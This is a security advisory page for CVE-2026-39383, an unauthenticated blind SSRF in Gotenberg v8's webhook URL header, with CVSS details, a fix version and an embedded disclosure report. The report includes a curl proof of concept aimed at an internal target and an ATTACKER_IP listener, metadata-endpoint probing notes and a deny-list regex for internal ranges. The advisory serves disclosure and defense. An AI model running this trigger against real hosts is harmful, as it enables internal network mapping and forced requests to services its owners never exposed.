VulnerabilityPublished 30 Apr 2026Updated 8 May 2026

CVE-2026-39383: V8 · Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

Affects github.com/gotenberg/gotenberg/v8Source GCVE Database

Authoritative record:CVE-2026-39383· Medium 6.9

Not known to be exploited · CVSS 6.9 Medium : upgrade to 8.31.0 when convenient.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score

6.9Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 8.31.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: Low
Subsequent system integrity: Low
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Subsequent System.
Subsequent system integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Subsequent System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 5 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/gotenberg/gotenberg/v8 to 8.31.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/gotenberg/gotenberg/v8	Affected >=8.29.1 <8.31.0	Fixed in 8.31.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg ## Severity | Field | Value | |-----------|----------------------------------------| | CVSS v3.1 | **8.6 High** | | Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` | | CWE | CWE-918 — Server-Side Request Forgery | | Auth | None | **Affected:** Gotenberg 8.29.1 — default `gotenberg/gotenberg:8` Docker image. --- ## Impact An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header. **This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body. The practical impact is therefore: - **Internal network probing:** if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. - **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response. - **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone. The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target. --- ## Proof of Concept ```bash # Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target. curl -s -o /dev/null -w "HTTP:%{http_code}" \ -X POST 'http://TARGET:3000/forms/chromium/convert/url' \ -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \ -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \ -F 'url=https://example.com' ``` --- ## Root Cause `FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through. ```go func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error { if len(allowed) > 0 { ... } // skipped — empty by default if len(denied) > 0 { ... } // skipped — empty by default return nil // any URL passes } ``` The unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`. --- ## Recommendations **Gotenberg maintainers:** Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges. **Operators (immediate):** ```bash # Restrict to your own receiver --env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*" # Or block internal ranges --env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)" ``` --- ## Attribution This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means "allow all" rather than "deny all". --- ## Timeline | Date | Event | |------------|-------| | 2026-04-04 | Vulnerability discovered | | 2026-04-05 | SSRF confirmed — outbound POST captured at local listener | | 2026-04-05 | Report drafted for disclosure |

CWE-918Server-Side Request Forgery (SSRF) (opens in a new tab)
Base weaknessCWE Top 25 (2025): #22OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
Cross Site Scripting Prevention (opens in a new tab)
DOM based XSS Prevention (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.6.1 (opens in a new tab)
V5.2.6 (opens in a new tab)
Attack patterns
Server Side Request Forgery (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-918

Technical details

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